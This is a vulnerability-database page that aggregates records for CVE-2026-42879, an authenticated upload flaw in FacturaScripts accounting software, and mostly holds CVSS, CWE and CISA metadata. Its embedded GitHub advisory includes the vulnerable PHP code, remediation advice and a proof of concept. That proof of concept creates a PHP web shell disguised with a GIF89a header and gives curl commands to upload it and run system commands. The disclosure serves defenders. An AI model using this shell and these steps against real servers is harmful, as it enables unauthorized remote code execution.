CVE-2026-42879 (GCVE-0-2026-42879)

Vulnerability from cvelistv5 – Published: 2026-05-27 18:29 – Updated: 2026-06-01 17:08

Title

FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images

Summary

FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.

Severity

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-01 17:05 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-434 - Unrestricted Upload of File with Dangerous Type

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7926 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/NeoRazorX/facturascripts/secur…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
NeoRazorX	facturascripts	Affected: <= 2025.81	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42879",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-01T17:05:06.441062Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-01T17:08:32.048Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "facturascripts",
          "vendor": "NeoRazorX",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 2025.81"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts\u0027 product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-434",
              "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-27T18:29:46.718Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
        }
      ],
      "source": {
        "advisory": "GHSA-vf3q-frmr-vrr9",
        "discovery": "UNKNOWN"
      },
      "title": "FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42879",
    "datePublished": "2026-05-27T18:29:46.718Z",
    "dateReserved": "2026-04-30T18:49:06.711Z",
    "dateUpdated": "2026-06-01T17:08:32.048Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-42879",
      "date": "2026-10-28",
      "epss": "0.00229",
      "percentile": "0.13735"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "facturascripts",
                "vendor": "NeoRazorX",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c= 2025.81"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts\u0027 product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php."
          },
          {
            "lang": "es",
            "value": "FacturaScripts es un software de contabilidad y facturaci\u00f3n de c\u00f3digo abierto. En la versi\u00f3n 2025.81 y anteriores, existe una vulnerabilidad de carga de archivos sin restricciones autenticada en la funcionalidad de carga de im\u00e1genes de productos de FacturaScripts. Un atacante con credenciales v\u00e1lidas puede cargar un archivo PHP disfrazado de imagen GIF (utilizando una cabecera GIF89a), eludiendo la validaci\u00f3n del tipo MIME. El archivo se almacena con su extensi\u00f3n original, incluyendo extensiones ejecutables como \u2019.php\u2019. La vulnerabilidad reside en el m\u00e9todo addImageAction() de Core/Lib/ExtendedController/ProductImagesTrait.php."
          }
        ],
        "id": "CVE-2026-42879",
        "lastModified": "2026-10-26T11:10:00.157",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 6.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 3.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-42879",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-01T17:05:06.441062Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-05-27T19:16:18.173",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-94"
              },
              {
                "lang": "en",
                "value": "CWE-434"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-06-01T22:03:39+00:00",
      "cve": "CVE-2026-42879",
      "id": "CVE-2026-42879",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42879.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-42879",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-01T17:05:06.441062Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-01T17:08:27.505Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "facturascripts",
              "vendor": "NeoRazorX",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c= 2025.81"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts\u0027 product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 6.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-94",
                  "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-434",
                  "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-05-27T18:29:46.718Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
            }
          ],
          "source": {
            "advisory": "GHSA-vf3q-frmr-vrr9",
            "discovery": "UNKNOWN"
          },
          "title": "FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-42879",
        "datePublished": "2026-05-27T18:29:46.718Z",
        "dateReserved": "2026-04-30T18:49:06.711Z",
        "dateUpdated": "2026-06-01T17:08:32.048Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-42879

Vulnerability from fkie_nvd - Published: 2026-05-27 19:16 - Updated: 2026-10-26 11:10

Severity

6.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "facturascripts",
          "vendor": "NeoRazorX",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 2025.81"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts\u0027 product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php."
    },
    {
      "lang": "es",
      "value": "FacturaScripts es un software de contabilidad y facturaci\u00f3n de c\u00f3digo abierto. En la versi\u00f3n 2025.81 y anteriores, existe una vulnerabilidad de carga de archivos sin restricciones autenticada en la funcionalidad de carga de im\u00e1genes de productos de FacturaScripts. Un atacante con credenciales v\u00e1lidas puede cargar un archivo PHP disfrazado de imagen GIF (utilizando una cabecera GIF89a), eludiendo la validaci\u00f3n del tipo MIME. El archivo se almacena con su extensi\u00f3n original, incluyendo extensiones ejecutables como \u2019.php\u2019. La vulnerabilidad reside en el m\u00e9todo addImageAction() de Core/Lib/ExtendedController/ProductImagesTrait.php."
    }
  ],
  "id": "CVE-2026-42879",
  "lastModified": "2026-10-26T11:10:00.157",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 6.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-42879",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-01T17:05:06.441062Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-27T19:16:18.173",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-434"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-VF3Q-FRMR-VRR9

Vulnerability from github – Published: 2026-05-07 19:49 – Updated: 2026-06-08 23:53

Summary

FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images

Details

CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass

Summary

An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.

Details

The vulnerability exists in:

Core/Lib/ExtendedController/ProductImagesTrait.php

Specifically in the addImageAction() method.

Vulnerable Code

if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

Root Cause

The validation only checks if MIME type contains "image/"
This can be bypassed by prepending GIF89a magic bytes to a PHP file
The system incorrectly identifies the file as image/gif
The file is saved with a .php extension in a web-accessible directory

File Storage Behavior

Uploaded files are stored in:

/MyFiles/YYYY/MM/X.php

Where X is an auto-incrementing ID. This allows direct remote execution:

http://target/MyFiles/2026/03/2.php?cmd=id

Impact

Successful exploitation:

An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.

Proof of Concept (Manual)

Step 1: Create malicious file

cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Step 2: Authenticate

Login to the application
Extract PHPSESSID from browser cookies

Step 3: Get CSRF token

curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Step 4: Upload shell

curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[]=@shell.jpg.php"

Step 5: Execute command

curl "http://target/MyFiles/2026/03/2.php?cmd=id"

Affected Products

Field	Value
Ecosystem	Packagist
CVE ID	CVE-2026-42879
Package Name	`facturascripts/facturascripts`
Affected Versions	<= 2025.81
Patched Versions	Not yet patched
Fixed in	Pending

Remediation Recommendations

Validate file extension — reject any upload where the filename ends in .php, .phtml, .phar, or other executable extensions, regardless of MIME type
Re-generate filenames on the server — never use getClientOriginalName(); assign a safe UUID-based name with a validated extension
Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution
Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like fileinfo rather than trusting client-supplied MIME

Credits

Discoverer: Abdullah Alwasabei / Guzrex

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2025.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T19:49:05Z",
    "nvd_published_at": "2026-05-27T19:16:18Z",
    "severity": "MODERATE"
  },
  "details": "# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts\u0027 product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile-\u003egetMimeType(), \u0027image/\u0027)) {\n    Tools::log()-\u003eerror(\u0027file-not-supported\u0027);\n    continue;\n}\n \n$folder = Tools::folder(\u0027MyFiles\u0027);\nTools::folderCheckOrCreate($folder);\n$uploadFile-\u003emove($folder, $uploadFile-\u003egetClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat \u003e shell.jpg.php \u003c\u003c \u0027EOF\u0027\nGIF89a\n\u003c?php\nsystem($_GET[\u0027cmd\u0027]);\n?\u003e\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o \u0027multireqtoken\\\" value=\\\"[^\\\"]*\\\"\u0027 | cut -d\u0027\"\u0027 -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | \u003c= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** \u2014 reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** \u2014 never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** \u2014 serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** \u2014 validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex",
  "id": "GHSA-vf3q-frmr-vrr9",
  "modified": "2026-06-08T23:53:25Z",
  "published": "2026-05-07T19:49:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42879"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-42879 (GCVE-0-2026-42879)

FKIE_CVE-2026-42879

GHSA-VF3Q-FRMR-VRR9

CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass

Summary

Details

Vulnerable Code

Root Cause

File Storage Behavior

Impact

An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.

Proof of Concept (Manual)

Step 1: Create malicious file

Step 2: Authenticate

Step 3: Get CSRF token

Step 4: Upload shell

Step 5: Execute command

Affected Products

Remediation Recommendations

Credits

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour